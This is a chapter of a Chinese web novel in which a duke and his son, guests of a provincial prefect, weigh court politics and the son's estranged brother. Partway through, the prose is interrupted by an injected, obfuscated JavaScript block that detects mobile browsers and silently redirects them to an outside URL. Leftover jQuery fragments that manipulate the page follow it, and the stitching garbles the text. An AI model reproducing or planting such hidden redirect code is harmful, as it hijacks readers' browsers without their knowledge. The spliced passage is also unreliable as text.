67. 第 67 章

作品:《世子他蓄谋已久

    江东知府崔鸿的府邸,崔府。


    夜已深,待客的正堂却灯火通明,炭火烧得极旺。


    崔鸿坐在下手,手中捧着盏热茶与主位上的镇国公贾安平寒暄。他虽身为江东府的父母官,可终究品级年纪都不如这位国公爷。


    按常理而言,国公爷此刻该在府中等候明日的宫宴,可此时却出现在了距京城千里之外的江东。崔鸿有些摸不着头脑,去信给京城已经来不及了,只能尽他所能招待好,早日送走这位贵客了。


    他给贾安平的茶盏里添了些茶水,恭谨道:“国公爷远道而来,下官未能远迎,已是失礼。今夜又安置仓促,若有招待不周之处,还望国公爷海涵。”


    他语气诚恳,是标准的世家子弟做派,礼数周全得挑不出一丁点儿错处。


    贾安平端起茶盏,揭开盖子撇了撇浮沫,面上带笑地客气回道:“崔大人言重了,是老夫来得唐突,扰了崔大人年节前的清净。”


    他啜了口茶,挑眉惊叹:“好茶,不愧是崔家子弟。听闻崔大人前番破获天珠阁大案,肃清江东毒患,功劳不小,老夫在京城也有诸多耳闻。”


    崔鸿笑容不变,谦虚道:“都是晚辈分内之事,有赖陛下洪福罢了,某不敢居功。”


    兜转了了几圈,崔鸿还是问出了心中的疑问:“倒是国公爷,年关将近,京城年三十的宫宴可是头等大事。国公爷此时南下江东,怕是赶不及回京赴宴了吧?”


    贾安平在心中冷哼,他向来不喜京城那些世家子弟弯弯绕绕的做派。眼前这位崔知府,虽听说在江东干了些实事,风评尚可,可终究是世家出身,骨子里那套试探权衡也一点不少。


    他放下茶盏,脸色冷了下来:“崔大人有心了,老夫此行是得了陛下应允的。陛下念老夫年老思乡,特许老夫回江东旧地看看,祭拜先祖。”


    这话说得滴水不漏,将皇帝抬了出来,谁还敢说二话。可崔鸿是何等人物?他敏锐地捕捉到贾安平眼中一闪而过的晦暗。


    镇国公是何等身份,年宴缺席,岂是寻常小事。


    但崔鸿面上丝毫不显,露出恍然与赞叹之色:“原来如此,晚辈早听闻陛下对国公爷真是恩宠有加。国公爷为国征战半生,如今荣归故里也是应当的。


    “国公爷在江东若有什么需要,尽管吩咐下官。下官必定尽力安排。”


    贾安平摆摆手:“崔大人客气了,老夫叨扰几日便走。夜深了,崔大人也早些歇息吧。”


    崔鸿连忙起身相送,亲自将贾安平送到专为他准备的院门外,又叮嘱了下人好生伺候,这才拱手告辞。


    待崔鸿的身影消失,贾安平敛去了脸上的客套笑容。他负手踏入小院,院中积雪已被清扫干净,两侧的红梅在夜色中怒放,颤巍巍地吐着幽香。


    厢房里已点了灯,他推门进去,解下玄色大氅搭在屏风上。他走到桌边坐下,自己倒了杯早已备好的热茶,思考着如何与处理与方栩的关系。


    房门“砰”一声被推开,贾知衡风尘仆仆地闯了进来,脸上兴奋不已。


    “父亲!”


    贾安平眉头一拧,低声斥道:“冒冒失失,成何体统?这是崔府,不是你的军营。刚才就没见你,这是又跑哪儿去了?”


    贾知衡也不在意父亲的训斥,三两步凑到桌前,眼中闪着光:“父亲,我可能找到了跟兄长缓和关系的法子。”


    “哦?说来听听。”


    贾知衡便将从前方栩对许擢青的言听计从,与方才医馆窗外所见的情形,都一五一十说了。


    “兄长他似乎极听那位许大夫的话,我瞧着他看许大夫的眼神与看旁人全然不同,还有他那小妹阿年也是黏许大夫黏得紧。若我们能从许大夫这里入手,或许能有所改变。”


    贾安平捋着胡须,神色变幻不定,沉吟良久:“许擢青,许萧华的徒弟。”


    他目光望向跳动的烛火,仿佛透过时光看到了遥远的过去。


    当年在北疆,他与许萧华也有过不解之缘,妻子能多活三年,也多亏了许萧华的神医妙手。那是个真性情的大夫,可惜去得早了。


    先前只觉得她那大徒弟许擢柯自有一番风骨,不想这小徒弟也是气度不凡,看来也是个有本事有主见的。方才在医馆,她应对从容,不卑不亢,确实不简单。


    贾安平眼中闪过一丝精光:“若中野真如此信重她,那她或许确实是个不错的突破口。”


    正说着,门外传来轻轻的叩门声。


    父子俩同时噤声,交换了一个眼神。贾知衡扬声问道:“何事?”


    “国公爷,世子,小人奉崔大人的命前来送热水。”门外是崔府下人的声音,恭敬有礼。


    贾知衡看了父亲一眼,走过去开门,接过下人手中的铜壶和干净布巾,淡淡道:“有劳,不必再伺候,去歇着吧。”


    下人躬身退下:“是,世子。”


    贾知衡关上门,走回桌边低声道:“父亲,这崔鸿……”


    贾安平卸下腰间冰刃,闭目养神:“崔鸿此人乃是崔家旁系出身,能在这江东知府任上做出些实绩,着实不简单。前番天珠阁一案,他处置得也算利落。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148576|194931||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “只是他刚立了大功,转头就把发妻阎氏送回了京城母家,连朝廷因功赏赐的诰命都寻由推了。这般行事,我也有些看不透。”


    贾知衡猜测:“或许是为了避嫌?或者夫妻不睦?”


    贾安平摇摇头:“宦海沉浮,哪有那么多儿女情长,此人行事谨慎得有些过了头。知衡,记住,在崔府这几日一切小心,要谨言慎行,要给人留下话柄。”


    贾知衡见父亲说得郑重,也收起了方才的兴奋,正色应道:“儿子明白。”


    贾安平看着他,心中却轻轻叹了口气。这个儿子性子直率,有几分他年轻时的影子,却少了那份挣扎求存的警惕与城府。带兵打仗,算是中上之资,可若论揣摩人心,在朝堂中周旋应对,还差得远。


    他忍不住多嘱咐几句:“知衡,我们镇国公府如今看着仍是鲜花着锦,烈火烹油。可实际上,自他交还北疆军权那一刻起,便已是陛下案板上待宰的鱼肉了。


    贾知衡脸色一变:“父亲,何出此言?陛下对父亲一向信重,我们贾家更是世代忠良。”


    “自古功高震主,飞鸟尽,良弓藏。”


    贾安平打断他,笑容里带着苦涩。陛下当年倚仗他坐稳皇位,如今四海承平,陛下年事渐高,猜忌之心日重。没了北疆军权,他们这些武勋世家在他眼中,与那些文官世家无异,不过是另一群需要敲打制衡的棋子罢了。


    “往年的宫宴,陛下说什么都不会准假。今年为何允了?是恩典,也是敲打。他在告诉我们,也在告诉满朝文武。陛下就是陛下,身边没了谁,朝廷都一样运转。”


    也就是说,镇国公府并非不可替代。只要陛下想,谁就可以是下一个手握大权的镇国公。


    贾知衡听得背脊发凉,不知该说什么。他虽知朝堂险恶,却从未想过贾家的处境已到了这般地步。


    看到儿子有些惊疑不定的脸,找到长子的喜悦又被沉重的现实压了下去。贾安平叹了口气,压下心中翻涌的思绪。


    有些事急不得,也怨不得。


    如今能找到中野,已是不幸中的万幸。至于以后,兵来将挡,水来土掩罢。


    房内陷入短暂的沉默。


    良久,贾安平似乎想起了什么,状似无意地重新提起茶壶,为两人续上茶水,随口一问。


    “年节将至,你给礼部尚书府上的文大小姐准备了什么新年贺礼?”


    贾知衡仍然沉浸在对家族命运的忧思中,闻言一愣,脸色瞬间由白转红,两颊染上绯色。


    “爹,你知道了啊。”